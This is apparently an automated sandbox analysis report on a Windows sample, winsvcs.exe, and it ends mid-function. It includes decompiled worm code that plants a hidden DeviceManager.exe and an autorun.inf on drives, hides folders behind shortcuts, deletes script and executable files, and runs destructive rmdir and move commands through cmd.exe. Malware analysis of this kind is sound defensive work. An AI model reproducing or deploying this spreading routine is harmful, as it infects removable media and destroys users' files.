Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptySleepisalphaisdigitmemcpy
String ID:
API String ID: 2966092340-0
Opcode ID: 6d235a4399c6ed78e20c63f5cca51e557ee0ad5077fa87bede83529db46c54f6
Instruction ID: c6e364a19f3dac1dbbbe27c5ca4bcb36d05d15dff5ff7497a1fed5ff7d3be0b3
Opcode Fuzzy Hash: 6d235a4399c6ed78e20c63f5cca51e557ee0ad5077fa87bede83529db46c54f6
Instruction Fuzzy Hash: 29F03A30804604FFDB006FB0DD0DB9E7E34EB04306F104175E101752E1CB791A80DE6A

Uniqueness

Uniqueness Score: 1.51%

Function 00412ADE, Relevance: 4.5, APIs: 3, Instructions: 45UNIQUE

APIs

GetFirmwareEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412B38
GetVolumePathNameA.KERNEL32(00419490,?,00000000), ref: 00412B4B
SetFileApisToANSI.KERNEL32 ref: 00412B51

Memory Dump Source

Source File: 00000002.00000001.323323334.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_40d000_winsvcs.jbxd

Similarity

API ID: ApisEnvironmentFileFirmwareNamePathVariableVolume
String ID:
API String ID: 4009104427-0
Opcode ID: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction ID: f449373da075e34465918f8ebd773e7e178d982c5a147d172c8a692d249b7fb9
Opcode Fuzzy Hash: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction Fuzzy Hash: FA0147766097404ED3208B28DC84BF27FBCDB192A570800BAEA8293261C1745C46C67C

Uniqueness

Uniqueness Score: 100.00%

Function 00401670, Relevance: 1.5, APIs: 1, Instructions: 36networkCOMMON

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040169E

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 370dc7dd48d612450b2559e153edef5d580e7070dbe6c97b2f1f10a7964d60d8
Instruction ID: 27b13bd1e221317fb02bd784b20987b5ed756dc6ecabe8518be2b2a2431b075d
Opcode Fuzzy Hash: 370dc7dd48d612450b2559e153edef5d580e7070dbe6c97b2f1f10a7964d60d8
Instruction Fuzzy Hash: 8801CD71A10249FFDB00CFA4CD84BAE77F4BB04355F244AA5E411E62E0D375AA519B54

Uniqueness

Uniqueness Score: 0.03%

Function 004016C7, Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

APIs

recv.WS2_32(?,00000000,00000000,00000000), ref: 004016E5

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 43cdc93d2138539818e7b7d39d6abcaf7b6064fc8f9f0f11a24ad7ac9d55115f
Instruction ID: 0d5d3be1602bef185a80498b06d6d046b14eeb3a2a900fb19b69acceb0e0a9ac
Opcode Fuzzy Hash: 43cdc93d2138539818e7b7d39d6abcaf7b6064fc8f9f0f11a24ad7ac9d55115f
Instruction Fuzzy Hash: 39F0F971910249FFDF10CFA8CD45B9E7BB4FB04315F244969E811E32A1D3B59A50EB58

Uniqueness

Uniqueness Score: 0.03%

Non-executed Functions

Function 00403775, Relevance: 173.9, APIs: 67, Strings: 32, Instructions: 655
sleepfileUNIQUE

C-Code - Quality: 70%

			E00403775(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				short _v1636;
				short _v2156;
				short _v2676;
				short _v3196;
				void* _v3200;
				void _v3724;
				short _v4244;
				short _v4764;
				struct _IO_FILE* _v4768;
				long _v4772;
				struct _IO_FILE* _v4776;
				short _v5300;
				intOrPtr* _v5304;
				intOrPtr* _v5308;
				signed int _v5310;
				signed int _v5312;
				signed int _v5316;
				signed int _v5320;
				intOrPtr* _v5324;
				intOrPtr* _v5328;
				signed int _v5330;
				signed int _v5332;
				signed int _v5336;
				signed int _v5340;
				intOrPtr* _v5344;
				intOrPtr* _v5348;
				signed int _v5350;
				signed int _v5352;
				signed int _v5356;
				signed int _v5360;
				intOrPtr* _v5364;
				intOrPtr* _v5368;
				signed int _v5370;
				signed int _v5372;
				signed int _v5376;
				signed int _v5380;
				intOrPtr* _v5384;
				intOrPtr* _v5388;
				signed int _v5390;
				signed int _v5392;
				signed int _v5396;
				signed int _v5400;
				struct _IO_FILE* _t248;
				signed int _t281;
				signed int _t288;
				signed int _t294;
				signed int _t300;
				signed int _t364;
				struct _IO_FILE* _t370;
				void* _t451;
				void* _t463;
				void* _t468;
				void* _t473;

				E00406C20(0x1514, __ecx);
				srand(GetTickCount());
				memset( &_v3196, 0, 0x208);
				memset( &_v1636, 0, 0x208);
				memset( &_v4764, 0, 0x208);
				memset( &_v2156, 0, 0x208);
				memset( &_v3724, 0, 0x208);
				memset( &_v4244, 0, 0x208);
				_push(_a4);
				_push(L"%ls*");
				_push(0x208);
				_push( &_v3196);
				L00401030();
				_push(_a8);
				_push(_a4);
				_push(L"%ls\\%s.lnk");
				_push(0x208);
				_push( &_v4764);
				L00401030();
				_push(_a8);
				_push(L"%ls.lnk");
				_push(0x208);
				_push( &_v3724);
				L00401030();
				_push(_a4);
				_push(L"%ls\\_");
				_push(0x208);
				_push( &_v1636);
				L00401030();
				_push(_a4);
				_push(L"%ls\\_\\DeviceManager.exe");
				_push(0x208);
				_push( &_v2156);
				L00401030();
				_push(_a4);
				_push(L"%ls\\autorun.inf");
				_push(0x208);
				_push( &_v4244);
				L00401030();
				_t463 = _t451 + 0xac;
				Sleep(0x1f4);
				_push(L"rb");
				_t248 =  &_v2156;
				_push(_t248);
				L00401042();
				_v4768 = _t248;
				if(_v4768 != 0) {
					fseek(_v4768, 0, 2);
					_t463 = _t463 + 0xc;
					_v4772 = ftell(_v4768);
					fclose(_v4768);
					_t473 = _v4772 -  *0x40a9c0; // 0x2a200
					if(_t473 != 0) {
						SetFileAttributesW( &_v2156, 0x80);
						DeleteFileW( &_v2156);
					}
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v4764) == 0) {
					if(PathFileExistsW( &_v4244) != 0) {
						SetFileAttributesW( &_v4244, 0x80);
						DeleteFileW( &_v4244);
					}
					if((_a12 & 0x000000ff) != 1) {
						_push(0);
						_push(0);
						E00403669( &_v4764,  &_v4764, L"B:\\", 0, L"shell32.dll", 8, 0);
						_t463 = _t463 + 0x20;
					} else {
						_push(0);
						_push(0);
						E00403669( &_v4764,  &_v4764, L"B:\\", 0, L"shell32.dll", 9, 0);
						_t463 = _t463 + 0x20;
					}
					Sleep(0x1f4);
					SetFileAttributesW( &_v4764, 5);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v1636) == 0 && CreateDirectoryW( &_v1636, 0) != 0) {
					SetFileAttributesW( &_v1636, 7);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v2156) == 0) {
					CopyFileW(L"C:\\Windows\\T-495050303005030",  &_v2156, 0);
					SetFileAttributesW( &_v2156, 7);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v4244) == 0) {
					_push("w");
					_t370 =  &_v4244;
					_push(_t370);
					L00401042();
					_v4776 = _t370;
					if(_v4776 != 0) {
						fprintf(_v4776, "[autorun]\nopen=_\\DeviceManager.exe\nUseAutoPlay=1");
						fclose(_v4776);
						SetFileAttributesW( &_v4244, 7);
					}
				}
				Sleep(0x1f4);
				_v3200 = FindFirstFileW( &_v3196,  &_v1116);
				if(_v3200 != 0xffffffff) {
					do {
						if(E00401000( &(_v1116.cFileName), L".lnk") == 0) {
							L29:
							if(E00401000( &(_v1116.cFileName), L".vbs") != 0 || E00401000( &(_v1116.cFileName), L".bat") != 0 || E00401000( &(_v1116.cFileName), L".js") != 0 || E00401000( &(_v1116.cFileName), L".scr") != 0 || E00401000( &(_v1116.cFileName), L".com") != 0 || E00401000( &(_v1116.cFileName), L".jse") != 0 || E00401000( &(_v1116.cFileName), L".cmd") != 0 || E00401000( &(_v1116.cFileName), L".pif") != 0 || E00401000( &(_v1116.cFileName), L".jar") != 0 || E00401000( &(_v1116.cFileName), L".dll") != 0) {
								L39:
								memset( &_v2676, 0, 0x208);
								_push( &(_v1116.cFileName));
								_push(_a4);
								_push(L"%ls\\%s");
								_push(0x208);
								_push( &_v2676);
								L00401030();
								_t463 = _t463 + 0x20;
								SetFileAttributesW( &_v2676, 0x80);
								DeleteFileW( &_v2676);
								goto L40;
							} else {
								L40:
								Sleep(0x64);
								if(PathFileExistsW( &_v1636) == 0) {
									goto L82;
								}
								_v5324 = L".lnk";
								_v5328 =  &(_v1116.cFileName);
								while(1) {
									_t281 =  *_v5328;
									_v5330 = _t281;
									if(_t281 !=  *_v5324) {
										break;
									}
									if(_v5330 == 0) {
										L46:
										_v5336 = _v5336 & 0x00000000;
										L48:
										_v5340 = _v5336;
										if((0 | _v5340 == 0x00000000) != 0) {
											goto L82;
										}
										_v5344 =  &_v3724;
										_v5348 =  &(_v1116.cFileName);
										while(1) {
											_t288 =  *_v5348;
											_v5350 = _t288;
											if(_t288 !=  *_v5344) {
												break;
											}
											if(_v5350 == 0) {
												L54:
												_v5356 = _v5356 & 0x00000000;
												L56:
												_v5360 = _v5356;
												if((0 | _v5360 == 0x00000000) != 0) {
													goto L82;
												}
												_v5364 = L"autorun.inf";
												_v5368 =  &(_v1116.cFileName);
												while(1) {
													_t294 =  *_v5368;
													_v5370 = _t294;
													if(_t294 !=  *_v5364) {
														break;
													}
													if(_v5370 == 0) {
														L62:
														_v5376 = _v5376 & 0x00000000;
														L64:
														_v5380 = _v5376;
														if((0 | _v5380 == 0x00000000) != 0) {
															goto L82;
														}
														_v5384 = "_";
														_v5388 =  &(_v1116.cFileName);
														while(1) {
															_t300 =  *_v5388;
															_v5390 = _t300;
															if(_t300 !=  *_v5384) {
																break;
															}
															if(_v5390 == 0) {
																L70:
																_v5396 = _v5396 & 0x00000000;
																L72:
																_v5400 = _v5396;
																if((0 | _v5400 == 0x00000000) == 0) {
																	memset( &_v524, 0, 0x208);
																	memset( &_v2676, 0, 0x208);
																	_push( &(_v1116.cFileName));
																	_push(_a4);
																	_push(L"%ls\\%s");
																	_push(0x208);
																	_push( &_v524);
																	L00401030();
																	_push( &(_v1116.cFileName));
																	_push(_a4);
																	_push(L"%s\\_\\%ls");
																	_push(0x208);
																	_push( &_v2676);
																	L00401030();
																	_t468 = _t463 + 0x40;
																	SetFileAttributesW( &_v524, 0x80);
																	if(PathFileExistsW( &_v2676) != 0 && PathFileExistsW( &_v524) != 0) {
																		if(GetFileAttributesW( &_v2676) != 0x10) {
																			DeleteFileW( &_v524);
																		} else {
																			if(E00401000( &_v2676, L"..") == 0 && E00401000( &_v2676, ".") == 0) {
																				memset( &_v5300, 0, 0x208);
																				_push( &_v524);
																				_push(L"/c rmdir /q /s \"%ls\"");
																				_push(0x208);
																				_push( &_v5300);
																				L00401030();
																				_t468 = _t468 + 0x1c;
																				ShellExecuteW(0, 0, L"cmd.exe",  &_v5300, 0, 0);
																			}
																		}
																	}
																	memset( &_v5300, 0, 0x208);
																	_push( &_v2676);
																	_push( &_v524);
																	_push(L"/c move /y \"%ls\", \"%ls\"");
																	_push(0x208);
																	_push( &_v5300);
																	L00401030();
																	_t463 = _t468 + 0x20;
																	ShellExecuteW(0, 0, L"cmd.exe",  &_v5300, 0, 0);
																}
																goto L82;
															}
															_t300 =  *((intOrPtr*)(_v5388 + 2));
															_v5392 = _t300;
															_t186 = _v5384 + 2; // 0x250000
															if(_t300 !=  *_t186) {
																break;
															}
															_v5388 = _v5388 + 4;
															_v5384 = _v5384 + 4;
															if(_v5392 != 0) {
																continue;
															}
															goto L70;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														_v5396 = _t300;
														goto L72;
													}
													_t294 =  *((intOrPtr*)(_v5368 + 2));
													_v5372 = _t294;
													_t161 = _v5364 + 2; // 0x740075
													if(_t294 !=  *_t161) {
														break;
													}
													_v5368 = _v5368 + 4;
													_v5364 = _v5364 + 4;
													if(_v5372 != 0) {
														continue;
													}
													goto L62;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												_v5376 = _t294;
												goto L64;
											}
											_t288 =  *((intOrPtr*)(_v5348 + 2));
											_v5352 = _t288;
											if(_t288 !=  *((intOrPtr*)(_v5344 + 2))) {
												break;
											}
											_v5348 = _v5348 + 4;
											_v5344 = _v5344 + 4;
											if(_v5352 != 0) {
												continue;
											}
											goto L54;
										}
										asm("sbb eax, eax");
										asm("sbb eax, 0xffffffff");
										_v5356 = _t288;
										goto L56;
									}
									_t281 =  *((intOrPtr*)(_v5328 + 2));
									_v5332 = _t281;
									_t110 = _v5324 + 2; // 0x6e006c
									if(_t281 !=  *_t110) {
										break;
									}
									_v5328 = _v5328 + 4;
									_v5324 = _v5324 + 4;
									if(_v5332 != 0) {
										continue;
									}
									goto L46;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								_v5336 = _t281;
								goto L48;
							}
						}
						_v5304 =  &_v3724;
						_v5308 =  &(_v1116.cFileName);
						while(1) {
							_t364 =  *_v5308;
							_v5310 = _t364;
							if(_t364 !=  *_v5304) {
								break;
							}
							if(_v5310 == 0) {
								L26:
								_v5316 = _v5316 & 0x00000000;
								L28:
								_v5320 = _v5316;
								if((0 | _v5320 == 0x00000000) == 0) {
									goto L39;
								}
								goto L29;
							}
							_t364 =  *((intOrPtr*)(_v5308 + 2));
							_v5312 = _t364;
							if(_t364 !=  *((intOrPtr*)(_v5304 + 2))) {
								break;
							}
							_v5308 = _v5308 + 4;
							_v5304 = _v5304 + 4;
							if(_v5312 != 0) {
								continue;
							}
							goto L26;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						_v5316 = _t364;
						goto L28;
						L82:
					} while (FindNextFileW(_v3200,  &_v1116) != 0);
					FindClose(_v3200);
					return 1;
				} else {
					return 0;
				}
			}

APIs

GetTickCount.KERNEL32(?,00404343,?,00408C34,00000001), ref: 00403782
srand.MSVCRT ref: 00403789
memset.MSVCRT ref: 0040379D
memset.MSVCRT ref: 004037B3
memset.MSVCRT ref: 004037C9
memset.MSVCRT ref: 004037DF
memset.MSVCRT ref: 004037F5
memset.MSVCRT ref: 0040380B
_snwprintf.MSVCRT ref: 00403827
_snwprintf.MSVCRT ref: 00403846
_snwprintf.MSVCRT ref: 00403862
_snwprintf.MSVCRT ref: 0040387E
_snwprintf.MSVCRT ref: 0040389A
_snwprintf.MSVCRT ref: 004038B6
Sleep.KERNEL32(000001F4), ref: 004038C3
_wfopen.MSVCRT ref: 004038D5
fseek.MSVCRT ref: 004038F5
ftell.MSVCRT ref: 00403903
fclose.MSVCRT ref: 00403915
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403935
DeleteFileW.KERNEL32(?), ref: 00403942
Sleep.KERNEL32(000001F4), ref: 0040394D
PathFileExistsW.SHLWAPI(?), ref: 0040395A
PathFileExistsW.SHLWAPI(?), ref: 0040396F
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403985
DeleteFileW.KERNEL32(?), ref: 00403992

Part of subcall function 00403669: CoInitialize.OLE32(00000000), ref: 00403671
Part of subcall function 00403669: CoCreateInstance.OLE32(0040723C,00000000,00000001,0040722C,?), ref: 004036A0

Sleep.KERNEL32(000001F4), ref: 004039EE
SetFileAttributesW.KERNEL32(?,00000005), ref: 004039FD
Sleep.KERNEL32(000001F4), ref: 00403A08
PathFileExistsW.SHLWAPI(?), ref: 00403A15
CreateDirectoryW.KERNEL32(?,00000000), ref: 00403A28
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A3B
Sleep.KERNEL32(000001F4), ref: 00403A46
PathFileExistsW.SHLWAPI(?), ref: 00403A53
CopyFileW.KERNEL32(C:\Windows\T-495050303005030\winsvcs.exe,?,00000000), ref: 00403A6B
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A7A
Sleep.KERNEL32(000001F4), ref: 00403A85
PathFileExistsW.SHLWAPI(?), ref: 00403A92
_wfopen.MSVCRT ref: 00403AA8
fprintf.MSVCRT ref: 00403AC9
fclose.MSVCRT ref: 00403AD6
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403AE5
Sleep.KERNEL32(000001F4), ref: 00403AF0
FindFirstFileW.KERNEL32(?,?), ref: 00403B04

Part of subcall function 00401000: wcsstr.MSVCRT ref: 00401009

memset.MSVCRT ref: 00403CE5
_snwprintf.MSVCRT ref: 00403D08
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403D1C
DeleteFileW.KERNEL32(?), ref: 00403D29
Sleep.KERNEL32(00000064), ref: 00403D31
PathFileExistsW.SHLWAPI(?), ref: 00403D3E
memset.MSVCRT ref: 00403FEC
memset.MSVCRT ref: 00404002
_snwprintf.MSVCRT ref: 00404025
_snwprintf.MSVCRT ref: 00404048
SetFileAttributesW.KERNEL32(?,00000080), ref: 0040405C
PathFileExistsW.SHLWAPI(?), ref: 00404069
PathFileExistsW.SHLWAPI(?), ref: 0040407E
GetFileAttributesW.KERNEL32(?), ref: 00404093
memset.MSVCRT ref: 004040DE
_snwprintf.MSVCRT ref: 004040FE
ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 0040411A
DeleteFileW.KERNEL32(?), ref: 00404129
memset.MSVCRT ref: 0040413D
_snwprintf.MSVCRT ref: 00404164
ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 00404180
FindNextFileW.KERNEL32(?,?), ref: 00404193
FindClose.KERNEL32(?), ref: 004041A7

Strings

C:\Windows\T-495050303005030\winsvcs.exe, xrefs: 00403A66
.bat, xrefs: 00403BFC
.jse, xrefs: 00403C64
.lnk, xrefs: 00403D4C
%ls\%s, xrefs: 00404014
shell32.dll, xrefs: 004039CE
%ls\%s.lnk, xrefs: 00403835
%ls.lnk, xrefs: 00403851
%s\_\%ls, xrefs: 00404037
.vbs, xrefs: 00403BE1
B:\, xrefs: 004039D5
.scr, xrefs: 00403C32
/c move /y "%ls", "%ls", xrefs: 00404153
cmd.exe, xrefs: 00404177
.lnk, xrefs: 00403B20
%ls*, xrefs: 00403816
.com, xrefs: 00403C4D
shell32.dll, xrefs: 004039A9
%ls\%s, xrefs: 00403CF7
.cmd, xrefs: 00403C7B
.jar, xrefs: 00403CA9
[autorun]open=_\DeviceManager.exeUseAutoPlay=1, xrefs: 00403ABE
.pif, xrefs: 00403C92
/c rmdir /q /s "%ls", xrefs: 004040ED
%ls\autorun.inf, xrefs: 004038A5
cmd.exe, xrefs: 00404111
.dll, xrefs: 00403CC0
%ls\_, xrefs: 0040386D
%ls\_\DeviceManager.exe, xrefs: 00403889
B:\, xrefs: 004039B0
.js, xrefs: 00403C17
autorun.inf, xrefs: 00403E96

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: File$_snwprintfmemset$Attributes$ExistsPathSleep$Delete$Find$CreateExecuteShell_wfopenfclose$CloseCopyCountDirectoryFirstInitializeInstanceNextTickfprintffseekftellsrandwcsstr
String ID: %ls*$%ls.lnk$%ls\%s$%ls\%s$%ls\%s.lnk$%ls\_$%ls\_\DeviceManager.exe$%ls\autorun.inf$%s\_\%ls$.bat$.cmd$.com$.dll$.jar$.js$.jse$.lnk$.lnk$.pif$.scr$.vbs$/c move /y "%ls", "%ls"$/c rmdir /q /s "%ls"$B:\$B:\$C:\Windows\T-495050303005030\winsvcs.exe$[autorun]open=_\DeviceManager.exeUseAutoPlay=1$autorun.inf$cmd.exe$cmd.exe$shell32.dll$shell32.dll
API String ID: 1379777470-795171980
Opcode ID: 485b8c3c02e87bcb9ff352273f98dda2d9b09818a21d6243a014c1ffddf50c48
Instruction ID: fa884837d328e8ef0006e923a8ea6d70230a1be69f341a5f629a2db418182e5f
Opcode Fuzzy Hash: 485b8c3c02e87bcb9ff352273f98dda2d9b09818a21d6243a014c1ffddf50c48
Instruction Fuzzy Hash: 95427B75E042199ADB20AF60CC49BDA77BCAB04745F0041FAF649F61D1EB78ABC48F19

Uniqueness

Uniqueness Score: 100.00%

Function 003919E2, Relevance: 87.2, APIs: 1, Strings: 48, Instructions: 1448UNIQUE

APIs

std::exception::exception.LIBCMT ref: 00394160

Part of subcall function 0039596B: std::exception::operator=.LIBCMT ref: 00395982

Strings

f SN, xrefs: 0039289F
,z G, xrefs: 00391B96
,X`j, xrefs: 00391AAA
x`;-, xrefs: 003922C7
Wd5s, xrefs: 003924BF
'l', xrefs: 00392405
EyyT, xrefs: 00393CD2
+4-, xrefs: 0039302A
>B67, xrefs: 00393AB7
>?`, xrefs: 003937E8
5nF-, xrefs: 003920D2
US{j, xrefs: 0039208A
Iny4, xrefs: 003924DF
|[#G, xrefs: 00392824
_3G, xrefs: 0039339F
kU9;, xrefs: 0039317F
+\j, xrefs: 00393811
&FDb, xrefs: 00393ED6
crd., xrefs: 00393472
z?w., xrefs: 00392E54
Q\I, xrefs: 003925EC
V=|c, xrefs: 00393E3F
+]wQ, xrefs: 00393A8E
YT\f, xrefs: 0039301F
XB}, xrefs: 003938AA
DF2, xrefs: 003923FA
,i7=, xrefs: 0039323C
y, xrefs: 00393B5E
h`, xrefs: 00393622
#]Q', xrefs: 00393A7B
4t^, xrefs: 00392EAC
9F0%, xrefs: 00392F0C
y^, xrefs: 00393374
X.L;, xrefs: 00393DCF
Yi, xrefs: 00393993
@9Q), xrefs: 00392E2B
d4^S, xrefs: 00393D1F
<FB, xrefs: 003934AE
IBQ., xrefs: 00392E96
K#", xrefs: 00391D95
-s9^, xrefs: 0039277B
e'x, xrefs: 00393850
<iU, xrefs: 00391A10
U:8, xrefs: 00392970
rkfT, xrefs: 00393C9E
2, xrefs: 00392CB3
#?4, xrefs: 00393C0A
D35, xrefs: 00393612

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: std::exception::exceptionstd::exception::operator=
String ID: +4-$<iU$#?4$#]Q'$&FDb$+\j$+]wQ$,X`j$,i7=$,z G$-s9^$2$4t^$5nF-$9F0%$<FB$>B67$>?`$@9Q)$DF2$EyyT$IBQ.$Iny4$K#"$Q\I$U:8$US{j$V=|c$Wd5s$X.L;$YT\f$_3G$crd.$d4^S$e'x$f SN$kU9;$rkfT$x`;-$y$z?w.$|[#G$'l'$D35$XB}$Yi$y^$h`
API String ID: 1598257956-2505609308
Opcode ID: 19e917736d718428e5a3036fbc652581caf86d34f3727fdb3f65f2c736bcd5d2
Instruction ID: 3f56918db55ae5e40adfe26ebbfe66a97ee404fcb01af3bc6651af0230e58dcd
Opcode Fuzzy Hash: 19e917736d718428e5a3036fbc652581caf86d34f3727fdb3f65f2c736bcd5d2
Instruction Fuzzy Hash: 2803FFB28093849BD6B0CF62C888BCFB7E8BF95314F548D0DA2C956510EB759A84CF57

Uniqueness

Uniqueness Score: 100.00%

Function 0002158A, Relevance: 3.9, Strings: 3, Instructions: 172UNIQUE

Strings

!-M, xrefs: 00021732
), xrefs: 000215C9
t, xrefs: 0002163C

Memory Dump Source

Source File: 00000002.00000002.616189323.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: !-M$)$t
API String ID: 0-3395033134
Opcode ID: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction ID: 667e54f300c36ccd4e8484a146da7c101db8160e2100f7db772f052404a87aa9
Opcode Fuzzy Hash: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction Fuzzy Hash: B15179721183A19FCB278B74D85A6E53FA0AF63374B1903C9D4A28F5D3E3259143CB41

Uniqueness

Uniqueness Score: 100.00%

Function 0002083A, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Strings

l, xrefs: 00020875
., xrefs: 0002086E
GetProcAddress., xrefs: 000208EB, 000208EE, 000208F3

Memory Dump Source

Source File: 00000002.00000002.616189323.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: c43662d949464a5f0bc1a6b47ce8f05d187c28c073a20cebd063a85592e3d9a5
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 573149B6900719DFDB10CF99D880AAEBBF9FF08324F24404AD441A7211D771EA45CBA4

Uniqueness

Uniqueness Score: 0.07%

Function 0039E397, Relevance: 2.4, APIs: 1, Instructions: 881
UNIQUECrypto

C-Code - Quality: 41%

			E0039E397(signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, short* _a24) {
				signed int _v8;
				short _v10;
				unsigned int _v12;
				signed int _v14;
				signed int _v16;
				signed int _v18;
				signed int _v20;
				signed int _v25;
				signed int _v26;
				unsigned int _v28;
				unsigned int _v30;
				signed int _v32;
				signed int _v34;
				unsigned int _v36;
				signed int _v42;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v62;
				char _v64;
				signed int _v68;
				signed int _v72;
				unsigned int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr _v112;
				signed short* _v116;
				signed int* _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed short* _v140;
				signed int _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t380;
				signed int _t382;
				short _t383;
				unsigned int _t384;
				signed int _t387;
				signed int _t389;
				signed int* _t391;
				intOrPtr _t407;
				signed int _t408;
				intOrPtr _t409;
				unsigned int _t413;
				signed int _t417;
				signed int _t420;
				signed int _t429;
				signed int _t430;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed int _t442;
				signed int _t443;
				signed int _t447;
				signed int _t448;
				short _t449;
				signed int _t454;
				unsigned int _t459;
				signed short* _t463;
				intOrPtr _t465;
				signed int _t467;
				signed int _t470;
				signed int _t472;
				signed int _t473;
				signed int _t475;
				signed int _t480;
				signed int _t481;
				signed short* _t482;
				signed int _t484;
				signed int _t485;
				signed int _t487;
				signed short _t489;
				signed int _t490;
				signed int _t491;
				signed int _t495;
				signed int _t496;
				short _t497;
				signed int _t501;
				unsigned int _t506;
				signed int _t508;
				signed int _t512;
				signed int _t514;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				short* _t528;
				signed int _t529;
				signed int _t530;
				void* _t532;
				unsigned int _t533;
				signed int _t534;
				signed int _t536;
				unsigned int _t537;
				unsigned int _t538;
				signed short _t547;
				short* _t548;
				signed int _t551;
				signed int _t552;
				signed int _t554;
				unsigned int _t562;
				signed int _t563;
				char* _t567;
				signed int _t571;
				signed int _t572;
				signed int* _t573;
				signed short _t574;
				signed int _t582;
				intOrPtr* _t584;
				signed short* _t585;
				signed int _t586;
				signed int _t588;
				unsigned int _t591;
				signed int _t592;
				signed int _t597;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				unsigned int _t606;
				signed int _t608;
				unsigned int _t610;
				signed int _t613;
				signed int _t615;
				signed int _t616;
				signed int* _t621;
				signed int _t628;
				unsigned int _t631;
				intOrPtr _t633;
				signed int _t635;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				void* _t642;
				unsigned int _t644;
				unsigned int _t645;
				void* _t646;
				unsigned int _t647;
				signed int _t649;
				signed int _t654;
				signed short* _t656;
				intOrPtr _t657;
				signed int _t660;
				signed int _t662;
				signed int _t663;
				signed int _t665;
				signed int _t666;
				signed int _t667;
				signed int _t669;
				signed int _t671;
				signed int _t674;
				signed short _t683;
				unsigned int _t684;
				signed int* _t685;
				void* _t686;
				signed int _t691;
				signed int _t694;
				unsigned int _t695;
				signed int _t700;
				signed int _t701;
				signed int _t706;
				signed int _t709;

				_v8 =  *0x41de90 ^ _t709;
				_t528 = _a24;
				_v120 = _t528;
				_t601 = _a12 & 0x8000;
				_v52 = 0xcccccccc;
				_t683 = _a12 & 0x7fff;
				_v48 = 0xcccccccc;
				_v44 = 0x3ffbcccc;
				_v132 = _t601;
				_v104 = 0x7fff;
				if(_t601 == 0) {
					 *((char*)(_t528 + 2)) = 0x20;
				} else {
					 *((char*)(_t528 + 2)) = 0x2d;
				}
				_t631 = _a8;
